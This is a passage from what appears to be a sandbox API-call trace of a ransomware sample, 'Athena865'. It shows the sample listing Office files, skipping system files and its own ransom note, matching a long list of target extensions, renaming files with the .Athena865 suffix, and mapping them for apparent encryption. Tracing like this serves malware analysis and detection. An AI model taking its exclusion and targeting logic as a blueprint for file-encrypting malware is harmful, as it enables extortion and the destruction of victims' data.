dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.303] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=219520) returned 1 [0070.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.304] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.304] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.304] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.305] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35c80, lpName=0x0) returned 0x154 [0070.306] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35c80) returned 0x170000 [0070.319] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.320] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.320] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.321] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0070.323] CloseHandle (hObject=0x154) returned 1 [0070.323] CloseHandle (hObject=0x17c) returned 1 [0070.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.324] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2=".") returned 1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="..") returned 1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="windows") returned -1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="bootmgr") returned 1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="temp") returned -1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="pagefile.sys") returned -1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="boot") returned 1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="ids.txt") returned -1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="ntuser.dat") returned -1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="perflogs") returned -1 [0070.324] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2="MSBuild") returned -1 [0070.324] lstrlenW (lpString="ERXIMP.ADD") returned 10 [0070.325] lstrcpyW (in: lpString1=0x241e89e, lpString2="ERXIMP.ADD" | out: lpString1="ERXIMP.ADD") returned="ERXIMP.ADD" [0070.325] lstrlenW (lpString="ERXIMP.ADD") returned 10 [0070.325] lstrlenW (lpString="Athena865") returned 9 [0070.325] lstrcmpiW (lpString1="RXIMP.ADD", lpString2="Athena865") returned 1 [0070.325] lstrlenW (lpString=".dll") returned 4 [0070.325] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2=".dll") returned 1 [0070.325] lstrlenW (lpString=".lnk") returned 4 [0070.325] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2=".lnk") returned 1 [0070.325] lstrlenW (lpString=".ini") returned 4 [0070.325] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2=".ini") returned 1 [0070.325] lstrlenW (lpString=".sys") returned 4 [0070.325] lstrcmpiW (lpString1="ERXIMP.ADD", lpString2=".sys") returned 1 [0070.325] lstrlenW (lpString="ERXIMP.ADD") returned 10 [0070.325] lstrlenW (lpString="bak") returned 3 [0070.325] lstrcmpiW (lpString1="ADD", lpString2="bak") returned -1 [0070.325] lstrlenW (lpString="ba_") returned 3 [0070.325] lstrcmpiW (lpString1="ADD", lpString2="ba_") returned -1 [0070.325] lstrlenW (lpString="dbb") returned 3 [0070.325] lstrcmpiW (lpString1="ADD", lpString2="dbb") returned -1 [0070.325] lstrlenW (lpString="vmdk") returned 4 [0070.325] lstrcmpiW (lpString1=".ADD", lpString2="vmdk") returned -1 [0070.325] lstrlenW (lpString="rar") returned 3 [0070.325] lstrcmpiW (lpString1="ADD", lpString2="rar") returned -1 [0070.325] lstrlenW (lpString="zip") returned 3 [0070.325] lstrcmpiW (lpString1="ADD", lpString2="zip") returned -1 [0070.325] lstrlenW (lpString="tgz") returned 3 [0070.325] lstrcmpiW (lpString1="ADD", lpString2="tgz") returned -1 [0070.325] lstrlenW (lpString="vbox") returned 4 [0070.325] lstrcmpiW (lpString1=".ADD", lpString2="vbox") returned -1 [0070.325] lstrlenW (lpString="vdi") returned 3 [0070.325] lstrcmpiW (lpString1="ADD", lpString2="vdi") returned -1 [0070.326] lstrlenW (lpString="vhd") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="vhd") returned -1 [0070.326] lstrlenW (lpString="vhdx") returned 4 [0070.326] lstrcmpiW (lpString1=".ADD", lpString2="vhdx") returned -1 [0070.326] lstrlenW (lpString="avhd") returned 4 [0070.326] lstrcmpiW (lpString1=".ADD", lpString2="avhd") returned -1 [0070.326] lstrlenW (lpString="db") returned 2 [0070.326] lstrcmpiW (lpString1="DD", lpString2="db") returned 1 [0070.326] lstrlenW (lpString="db2") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="db2") returned -1 [0070.326] lstrlenW (lpString="db3") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="db3") returned -1 [0070.326] lstrlenW (lpString="dbf") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="dbf") returned -1 [0070.326] lstrlenW (lpString="mdf") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="mdf") returned -1 [0070.326] lstrlenW (lpString="mdb") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="mdb") returned -1 [0070.326] lstrlenW (lpString="sql") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="sql") returned -1 [0070.326] lstrlenW (lpString="sqlite") returned 6 [0070.326] lstrcmpiW (lpString1="MP.ADD", lpString2="sqlite") returned -1 [0070.326] lstrlenW (lpString="sqlite3") returned 7 [0070.326] lstrcmpiW (lpString1="IMP.ADD", lpString2="sqlite3") returned -1 [0070.326] lstrlenW (lpString="sqlitedb") returned 8 [0070.326] lstrcmpiW (lpString1="XIMP.ADD", lpString2="sqlitedb") returned 1 [0070.326] lstrlenW (lpString="xml") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="xml") returned -1 [0070.326] lstrlenW (lpString="$er") returned 3 [0070.326] lstrcmpiW (lpString1="ADD", lpString2="$er") returned 1 [0070.327] lstrlenW (lpString="4dd") returned 3 [0070.327] lstrcmpiW (lpString1="ADD", lpString2="4dd") returned 1 [0070.327] lstrlenW (lpString="4dl") returned 3 [0070.327] lstrcmpiW (lpString1="ADD", lpString2="4dl") returned 1 [0070.327] lstrlenW (lpString="^^^") returned 3 [0070.328] lstrcmpiW (lpString1="ADD", lpString2="^^^") returned 1 [0070.328] lstrlenW (lpString="abs") returned 3 [0070.328] lstrcmpiW (lpString1="ADD", lpString2="abs") returned 1 [0070.328] lstrlenW (lpString="abx") returned 3 [0070.328] lstrcmpiW (lpString1="ADD", lpString2="abx") returned 1 [0070.328] lstrlenW (lpString="accdb") returned 5 [0070.328] lstrcmpiW (lpString1="P.ADD", lpString2="accdb") returned 1 [0070.328] lstrlenW (lpString="accdc") returned 5 [0070.328] lstrcmpiW (lpString1="P.ADD", lpString2="accdc") returned 1 [0070.328] lstrlenW (lpString="accde") returned 5 [0070.328] lstrcmpiW (lpString1="P.ADD", lpString2="accde") returned 1 [0070.328] lstrlenW (lpString="accdr") returned 5 [0070.328] lstrcmpiW (lpString1="P.ADD", lpString2="accdr") returned 1 [0070.328] lstrlenW (lpString="accdt") returned 5 [0070.328] lstrcmpiW (lpString1="P.ADD", lpString2="accdt") returned 1 [0070.328] lstrlenW (lpString="accdw") returned 5 [0070.328] lstrcmpiW (lpString1="P.ADD", lpString2="accdw") returned 1 [0070.328] lstrlenW (lpString="accft") returned 5 [0070.329] lstrcmpiW (lpString1="P.ADD", lpString2="accft") returned 1 [0070.329] lstrlenW (lpString="adb") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="adb") returned 1 [0070.329] lstrlenW (lpString="adb") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="adb") returned 1 [0070.329] lstrlenW (lpString="ade") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="ade") returned -1 [0070.329] lstrlenW (lpString="adf") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="adf") returned -1 [0070.329] lstrlenW (lpString="adn") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="adn") returned -1 [0070.329] lstrlenW (lpString="adp") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="adp") returned -1 [0070.329] lstrlenW (lpString="alf") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="alf") returned -1 [0070.329] lstrlenW (lpString="ask") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="ask") returned -1 [0070.329] lstrlenW (lpString="btr") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="btr") returned -1 [0070.329] lstrlenW (lpString="cat") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="cat") returned -1 [0070.329] lstrlenW (lpString="cdb") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="cdb") returned -1 [0070.329] lstrlenW (lpString="ckp") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="ckp") returned -1 [0070.329] lstrlenW (lpString="cma") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="cma") returned -1 [0070.329] lstrlenW (lpString="cpd") returned 3 [0070.329] lstrcmpiW (lpString1="ADD", lpString2="cpd") returned -1 [0070.329] lstrlenW (lpString="dacpac") returned 6 [0070.329] lstrcmpiW (lpString1="MP.ADD", lpString2="dacpac") returned 1 [0070.330] lstrlenW (lpString="dad") returned 3 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dad") returned -1 [0070.330] lstrlenW (lpString="dadiagrams") returned 10 [0070.330] lstrlenW (lpString="daschema") returned 8 [0070.330] lstrcmpiW (lpString1="XIMP.ADD", lpString2="daschema") returned 1 [0070.330] lstrlenW (lpString="db-journal") returned 10 [0070.330] lstrlenW (lpString="db-shm") returned 6 [0070.330] lstrcmpiW (lpString1="MP.ADD", lpString2="db-shm") returned 1 [0070.330] lstrlenW (lpString="db-wal") returned 6 [0070.330] lstrcmpiW (lpString1="MP.ADD", lpString2="db-wal") returned 1 [0070.330] lstrlenW (lpString="dbc") returned 3 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dbc") returned -1 [0070.330] lstrlenW (lpString="dbs") returned 3 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dbs") returned -1 [0070.330] lstrlenW (lpString="dbt") returned 3 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dbt") returned -1 [0070.330] lstrlenW (lpString="dbv") returned 3 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dbv") returned -1 [0070.330] lstrlenW (lpString="dbx") returned 3 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dbx") returned -1 [0070.330] lstrlenW (lpString="dcb") returned 3 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dcb") returned -1 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dct") returned -1 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="dcx") returned -1 [0070.330] lstrcmpiW (lpString1="ADD", lpString2="ddl") returned -1 [0070.331] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.Athena865") returned 63 [0070.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.athena865"), dwFlags=0x1) returned 1 [0070.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.332] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=85920) returned 1 [0070.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.332] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.333] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.333] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.333] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x152a0, lpName=0x0) returned 0x154 [0070.335] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x152a0) returned 0x100000 [0070.345] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.346] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.346] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.347] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0070.348] CloseHandle (hObject=0x154) returned 1 [0070.348] CloseHandle (hObject=0x17c) returned 1 [0070.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.348] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0070.348] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.348] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.348] lstrcmpiW (lpString1="EXCEL.EXE", lpString2=".") returned 1 [0070.348] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="..") returned 1 [0070.348] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="windows") returned -1 [0070.348] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="bootmgr") returned 1 [0070.348] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="temp") returned -1 [0070.348] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="pagefile.sys") returned -1 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="boot") returned 1 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="ids.txt") returned -1 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="ntuser.dat") returned -1 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="perflogs") returned -1 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2="MSBuild") returned -1 [0070.349] lstrlenW (lpString="EXCEL.EXE") returned 9 [0070.349] lstrcpyW (in: lpString1=0x241e89e, lpString2="EXCEL.EXE" | out: lpString1="EXCEL.EXE") returned="EXCEL.EXE" [0070.349] lstrlenW (lpString="EXCEL.EXE") returned 9 [0070.349] lstrlenW (lpString="Athena865") returned 9 [0070.349] lstrlenW (lpString=".dll") returned 4 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2=".dll") returned 1 [0070.349] lstrlenW (lpString=".lnk") returned 4 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2=".lnk") returned 1 [0070.349] lstrlenW (lpString=".ini") returned 4 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2=".ini") returned 1 [0070.349] lstrlenW (lpString=".sys") returned 4 [0070.349] lstrcmpiW (lpString1="EXCEL.EXE", lpString2=".sys") returned 1 [0070.349] lstrlenW (lpString="EXCEL.EXE") returned 9 [0070.349] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.Athena865") returned 62 [0070.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.athena865"), dwFlags=0x1) returned 1 [0070.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.350] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28232544) returned 1 [0070.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.351] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.352] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.352] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.352] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1aece60, lpName=0x0) returned 0x154 [0070.353] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1a00000, dwNumberOfBytesToMap=0xece60) returned 0x2d50000 [0070.496] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.496] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.496] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.497] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0070.511] CloseHandle (hObject=0x154) returned 1 [0070.511] CloseHandle (hObject=0x17c) returned 1 [0070.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.520] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="EXCELE~1.MAN")) returned 1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2=".") returned 1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="..") returned 1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="windows") returned -1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="bootmgr") returned 1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="temp") returned -1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="pagefile.sys") returned -1 [0070.520] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="boot") returned 1 [0070.521] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="ids.txt") returned -1 [0070.521] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="ntuser.dat") returned -1 [0070.521] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="perflogs") returned -1 [0070.521] lstrcmpiW (lpString1="excel.exe.manifest", lpString2="MSBuild") returned -1 [0070.521] lstrlenW (lpString="excel.exe.manifest") returned 18 [0070.521] lstrcpyW (in: lpString1=0x241e89e, lpString2="excel.exe.manifest" | out: lpString1="excel.exe.manifest") returned="excel.exe.manifest" [0070.521] lstrlenW (lpString="excel.exe.manifest") returned 18 [0070.521] lstrlenW (lpString="Athena865") returned 9 [0070.521] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0070.521] lstrlenW (lpString=".dll") returned 4 [0070.521] lstrcmpiW (lpString1="excel.exe.manifest", lpString2=".dll") returned 1 [0070.521] lstrlenW (lpString=".lnk") returned 4 [0070.521] lstrcmpiW (lpString1="excel.exe.manifest", lpString2=".lnk") returned 1 [0070.521] lstrlenW (lpString=".ini") returned 4 [0070.521] lstrcmpiW (lpString1="excel.exe.manifest", lpString2=".ini") returned 1 [0070.521] lstrlenW (lpString=".sys") returned 4 [0070.521] lstrcmpiW (lpString1="excel.exe.manifest", lpString2=".sys") returned 1 [0070.521] lstrlenW (lpString="excel.exe.manifest") returned 18 [0070.521] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.Athena865") returned 71 [0070.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.athena865"), dwFlags=0x1) 